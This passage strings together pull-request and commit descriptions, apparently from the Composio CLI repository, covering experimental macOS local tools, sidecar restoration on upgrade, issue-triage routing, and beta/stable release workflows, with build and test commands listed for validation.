an old upgrader installs the fixed beta binary without sidecars, first
local-tool execution downloads the matching release zip, verifies
checksum when available, and restores the sidecars.
## Validation
- `pnpm --filter @composio/cli-local-tools build:beeper-imessage --
--target darwin-arm64`
- `pnpm --filter @composio/cli-local-tools build:beeper-imessage --
--target darwin-x64`
- `pnpm --filter @composio/cli-local-tools build:peekaboo -- --target
darwin-arm64`
- `pnpm --filter @composio/cli-local-tools build:peekaboo -- --target
darwin-x64`
- `pnpm --filter @composio/cli-local-tools typecheck:tsc`
- `pnpm --filter @composio/cli-local-tools test`
- `pnpm --filter @composio/cli typecheck:tsc`
- `pnpm --filter @composio/cli build:binary`
- Targeted CLI tests for execute/config/upgrade/version/update-check
paths.
- Packaged binary smoke test confirmed bundled Beeper sidecar works.
- Repair smoke test: copied only the new `composio` binary plus
`release-tag.txt` into a temp install with no `local-tools-binaries`;
`execute LOCAL_BEEPER_IMESSAGE_VERSION -d '{}'` restored sidecars from
`@composio/cli@0.2.29-beta.235` and succeeded.
## Release workflow
- Beta build run `25405049712` succeeded for commit
`9d0910c909b7b257d0f17b6d082980952d1e6c59` and published
`@composio/cli@0.2.29-beta.235`.
- This PR now includes one follow-up commit (`2c32cff4c`) to cover the
old-upgrader/missing-sidecars incremental upgrade path; normal branch CI
and beta build run `25406984535` are running again.
## Summary
- Add experimental CLI local tools behind `local_tools` (beta-on,
stable-off unless `composio config experimental local_tools on`).
- Add reusable `@composio/cli-local-tools` package: declarations,
metadata, readiness, command/MCP/native/FFI runtimes, bundled-binary
resolution, and Tool Router search/execute/schema integration.
- Add first-class local toolkits for:
- `BEEPER_IMESSAGE` backed by `imessage-cli` from the ComposioHQ
`platform-imessage` fork.
- `CHROME_DEVTOOLS` backed by the official `chrome-devtools-mcp@0.24.0`
npm/npx package.
- `PEEKABOO` backed by upstream Peekaboo CLI.
- Remove generated native executables from git: Beeper and Peekaboo
binaries are now ignored, pinned via git submodules, and generated
during CLI binary release jobs.
- Update CLI binary workflow so Linux artifacts skip native sidecars,
while macOS artifacts run on macOS runners and build only the matching
`darwin-x64` or `darwin-arm64` Beeper/Peekaboo sidecars before
packaging.
## Native binary policy
- No generated `imessage-cli` or `peekaboo` binary blobs are committed
in this PR history.
- Beeper source is pinned as
`ts/packages/cli-local-tools/vendor/platform-imessage` at
`364445a1b3089ad9fe293d5951efe160c5677c42` from
`https://github.com/ComposioHQ/platform-imessage`.
- Peekaboo source is pinned as
`ts/packages/cli-local-tools/vendor/peekaboo` at
`31e66e8d02656141d18f60bf3b46b24c2b9bc785` from
`https://github.com/steipete/Peekaboo`.
- Build commands:
- `pnpm --filter @composio/cli-local-tools build:local-tool-binaries --
--target darwin-arm64`
- `pnpm --filter @composio/cli-local-tools build:local-tool-binaries --
--target darwin-x64`
- Chrome DevTools is an npm/npx integration and is pinned as a dev
dependency (`chrome-devtools-mcp@0.24.0`) instead of using native
sidecars.
## Validation
- `pnpm --filter @composio/cli-local-tools build:local-tool-binaries --
--target darwin-arm64`
- `pnpm --filter @composio/cli-local-tools build:peekaboo -- --target
darwin-x64`
- `pnpm --filter @composio/cli-local-tools build:beeper-imessage --
--target darwin-x64`
- `pnpm --filter @composio/cli-local-tools typecheck:tsc`
- `pnpm --filter @composio/cli-local-tools test`
- `COMPOSIO_REAL_LOCAL_TOOLS_TESTS=1 pnpm --filter
@composio/cli-local-tools test -- src/toolkits/beeper-imessage.test.ts
src/toolkits/peekaboo.test.ts`
- `pnpm --filter @composio/cli typecheck:tsc`
- `pnpm --filter @composio/cli build`
- `COMPOSIO_CACHE_DIR=<tmp-config-with-local_tools-enabled> bun
ts/packages/cli/dist/bin.mjs local-tools doctor --json`
- `pnpm turbo build`
- Verified rewritten branch has no >1MB objects relative to
`origin/next` and no native executable paths in the PR diff.
## Notes / risks
- Beeper iMessage and Peekaboo are macOS-only and depend on local
permissions.
- Peekaboo requires macOS 15+; GUI tools require Screen Recording,
Accessibility, and sometimes Automation.
- Beeper send/reaction behavior can still depend on upstream Messages
automation reliability.
- Chrome DevTools can inspect/modify browser contents; avoid sensitive
browser sessions.
## Summary
- Update issue triage classifier guidance so hosted integration/tool
bugs that are not SDK/CLI/docs/Python code defects route to `support`.
- Add GitHub #3291 / `SPOTIFY_GET_PLAYLIST_ITEMS` as an explicit example
that should be `support` + bug and forwarded to Plain.
- Clarify broken existing tools are never `tool-request`, and should
route to Plain when they need backend/tool-catalog/support follow-up.
## Tests
- `ruby -e "require 'yaml'; data =
YAML.load_file('.github/workflows/issue-triage.yml'); abort 'bad name'
unless data['name'] == 'Issue Triage'; puts 'YAML OK'"`
## Notes
- The existing workflow already forwards `support` issues to Plain; this
change makes the classifier choose that path for non-SDK hosted tool
bugs.
## Summary
- add a `support` triage category for product/support/configuration
issues that are not SDK bugs
- avoid applying `bug`/`ts` labels or assigning Alberto for
support-classified issues
- create/use a `support` GitHub label and forward support issues to
Plain via the GraphQL API when `PLAIN_API_KEY` is configured
## Tests
- `ruby -e 'require "yaml";
YAML.load_file(".github/workflows/issue-triage.yml"); puts "yaml
ok"'`\n- `git diff --check`\n\n## Notes\n- Plain forwarding uses
`secrets.PLAIN_API_KEY` and optional `vars.PLAIN_SUPPORT_EMAIL`
(defaults to `github-support@composio.dev`).\n- `actionlint` was not
installed locally, so workflow syntax validation was limited to YAML
parsing.
## Summary
- Normalize triage output so bug reports are never classified as
`tool-request`.
- Treat broken existing integrations or tools as bugs instead of new
integration requests.
- Preserve existing label, assignee, and auto-close behavior for genuine
tool requests.
## Testing
- Not run (workflow-only change).
- Reviewed the updated triage logic to confirm bug reports fall back to
`other` when the classifier emits `tool-request`.
- Verified the issue comment and close-path behavior remain unchanged
for valid tool requests.
## Summary
- Adds `decimal-pr-bot[bot]`, `github-actions[bot]`, `dependabot[bot]`,
and `zen-agent` to `allowed_bots` in both `.github/workflows/claude.yml`
and `.github/workflows/claude-code-doc-review.yml`.
- So Claude review runs on PRs opened by our CI bots (docs/SDK
auto-update, dep bumps) and by the decimal and zen agents.
Motivation: #3224 (decimal-pr-bot) did not get a Claude review because
it wasn't in the allowlist.
## Test plan
- [ ] Merge and confirm Claude review fires on the next
`github-actions[bot]` docs-update PR.
- [ ] Retrigger Claude on #3224 (or wait for the next decimal-pr-bot PR)
and confirm it runs.
- [ ] Confirm it runs on the next dependabot PR.
🤖 Generated with [Claude Code](https://claude.com/claude-code)
Co-authored-by: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
## Summary
- Add a new GitHub issue triage workflow that classifies incoming issues
with Claude Sonnet into `docs`, `py`, `ts`, `cli`, `tool-request`, or
`other`.
- Automatically applies labels and assignees for the matching area, and
closes `tool-request` issues after posting a redirect comment.
- Update `CODEOWNERS` to reflect current ownership for docs, TS, and
Python.
- Tighten the stale workflow messaging and close issues immediately
after the stale period.
## Testing
- Not run (workflow and config changes only).
- Verified the new workflow YAML is syntactically structured and uses
strict JSON classification output.
- Reviewed the stale workflow diff to confirm the stale/close timing and
message text changes.
macOS runners ship bash 3.2 which lacks mapfile, causing
"command not found" failures in the bundled support files test.
Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
## Summary
- Add a generated `composio-cli` skill source that can render stable and
beta variants from a single channel-aware definition.
- Introduce build and validation scripts to generate the skill output
and verify channel-specific content, references, and reproducibility.
- Update the CLI packaging workflow to validate skills and package the
correct release-channel build for beta vs stable releases.
- Expand the skill content with clearer top-level CLI guidance,
troubleshooting, developer-project workflows, and beta-only power-user
examples.
- Tighten CLI install/upgrade behavior and add tests covering skill
installation behavior.
- Add example validation to the repo test flow and align example package
metadata with workspace expectations.
## Testing
- Not run locally.
- Added `ts/packages/cli/scripts/validate-skills.ts` checks for
stable/beta markers, channel-specific content, and required reference
files.
- Added `ts/packages/cli/test/src/effects/install-skill.test.ts`
coverage for skill installation behavior.
- Added `ts/scripts/validate-examples.ts` to validate example package
manifests during `pnpm test`.
- CI workflow now runs `pnpm run validate:skills` before packaging CLI
skill files.
## Summary
- Adds a persisted CLI user config file for experimental feature flags,
artifact directory overrides, and experimental subagent target
selection.
- Wires config-aware command visibility into root command construction,
help text, and validation error handling so experimental commands only
appear when enabled.
- Updates runtime helpers and session artifact resolution to honor the
new CLI config values.
- Expands installation workflow checks and adds tests for the new CLI
config service.
## Testing
- `pnpm test ts/packages/cli/test/src/services/cli-user-config.test.ts`
- `pnpm test ts/packages/cli/test/src/commands/$default.cmd.test.ts`
- Not run: full repo test suite
- Not run: install workflow end-to-end in this environment
---------
Co-authored-by: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
## Summary
- **Auto-beta on push to `next`**: any merge touching
`ts/packages/cli/**` automatically builds binaries and creates a
`@composio/cli@X.Y.Z-beta.<run_number>` prerelease. Version = latest
stable + patch bump.
- **Stable on version bump**: if `ts/packages/cli/package.json` version
changed in the push commit (i.e. changeset "Release: update version"
merge), creates a stable release instead.
- **`workflow_dispatch` build-beta**: build a beta from any branch on
demand.
- **`workflow_dispatch` promote-stable**: promote an existing beta tag
to stable (unchanged).
- Removes the old PR-title-gated flow (`pull_request` trigger with title
check).
## Test plan
- [ ] Merge into `next` with a CLI change → verify beta release is
created
- [ ] Trigger `workflow_dispatch` with `build-beta` on a feature branch
→ verify beta release
- [ ] Merge a changeset "Release: update version" PR → verify stable
release is created
- [ ] Trigger `workflow_dispatch` with `promote-stable` + existing beta
tag → verify stable release
🤖 Generated with [Claude Code](https://claude.com/claude-code)
---------
Co-authored-by: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
When triggered by repository_dispatch, github.actor is a bot that
can't be added as a reviewer, causing the workflow to fail. Fall back
to adding Sushmithamallesh and use continue-on-error so the workflow
always succeeds.
Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
The indented PY heredoc delimiters weren't matched because <<'PY'
requires an unindented terminator. Replace with python3 -c one-liners.
Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
## Summary
- Add support for beta CLI releases in the binary publish workflow,
including beta tag validation and promotion to stable from an existing
prerelease tag.
- Update `composio upgrade` to support a `--beta` flag that stays on the
prerelease channel.
- Refresh release documentation and CLI README to describe the new
beta/stable release model.
- Expand upgrade binary tests to cover prerelease resolution and
channel-specific behavior.
## Testing
- Not run (PR content generation only).
- Checked the workflow and CLI changes for beta/stable tag handling
paths.
- Reviewed updated release documentation for the new promotion flow.
## Summary
- replace runtime MCP SDK path resolution with static imports in the
structured-output helper
- ensure the helper works when shipped next to the standalone CLI binary
without repo-local node_modules
## Verification
- pnpm --filter @composio/cli run typecheck:src
- pnpm --filter @composio/cli test
test/src/services/run-subagent-acp.test.ts
- built and executed the bundled helper from a temp directory outside
the repo
Sarah Simionescu